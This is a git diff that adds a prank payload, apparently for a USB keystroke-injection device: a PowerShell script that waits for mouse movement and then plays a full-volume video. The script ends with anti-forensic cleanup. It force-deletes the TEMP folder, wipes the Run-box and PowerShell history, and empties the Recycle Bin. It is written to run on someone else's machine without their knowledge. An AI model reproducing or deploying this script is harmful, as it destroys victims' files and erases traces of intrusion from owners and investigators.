diff --git a/Payloads/Flip-ADV-RickRoll/rr.mp4 b/Payloads/Flip-ADV-RickRoll/rr.mp4 new file mode 100644 index 0000000..7afb1d4 Binary files /dev/null and b/Payloads/Flip-ADV-RickRoll/rr.mp4 differ diff --git a/Payloads/Flip-ADV-RickRoll/rr.ps1 b/Payloads/Flip-ADV-RickRoll/rr.ps1 new file mode 100644 index 0000000..8bdc4a9 --- /dev/null +++ b/Payloads/Flip-ADV-RickRoll/rr.ps1 @@ -0,0 +1,74 @@ +function Target-Comes { +Add-Type -AssemblyName System.Windows.Forms +$originalPOS = [System.Windows.Forms.Cursor]::Position.X +$o=New-Object -ComObject WScript.Shell + + while (1) { + $pauseTime = 3 + if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ + break + } + else { + $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime + } + } +} + +############################################################################################################################################# + + +#WPF Library for Playing Movie and some components +Add-Type -AssemblyName PresentationFramework + +Add-Type -AssemblyName System.ComponentModel +#XAML File of WPF as windows for playing movie + +[xml]$XAML = @" + + + + +"@ + +#Movie Path +[uri]$VideoSource = "$env:TMP\rr.mp4" + +#Devide All Objects on XAML +$XAMLReader=(New-Object System.Xml.XmlNodeReader $XAML) +$Window=[Windows.Markup.XamlReader]::Load( $XAMLReader ) +$VideoPlayer = $Window.FindName("VideoPlayer") + + +#Video Default Setting +$VideoPlayer.Volume = 100; +$VideoPlayer.Source = $VideoSource; +#$VideoPlayer.Padding = new Thickness(5); + + +Target-Comes + +$VideoPlayer.Play() + +#Show Up the Window +$Window.ShowDialog() | out-null + + +# Turn of capslock if it is left on + +$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') +if ($caps -eq $true){$key = New-Object -ComObject WScript.Shell;$key.SendKeys('{CapsLock}')} + + +# empty temp folder +rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue + +# delete run box history +reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f + +# Delete powershell history +Remove-Item (Get-PSreadlineOption).HistorySavePath + +# Empty recycle bin +Clear-RecycleBin -Force -ErrorAction SilentlyContinue \ No newline at end of file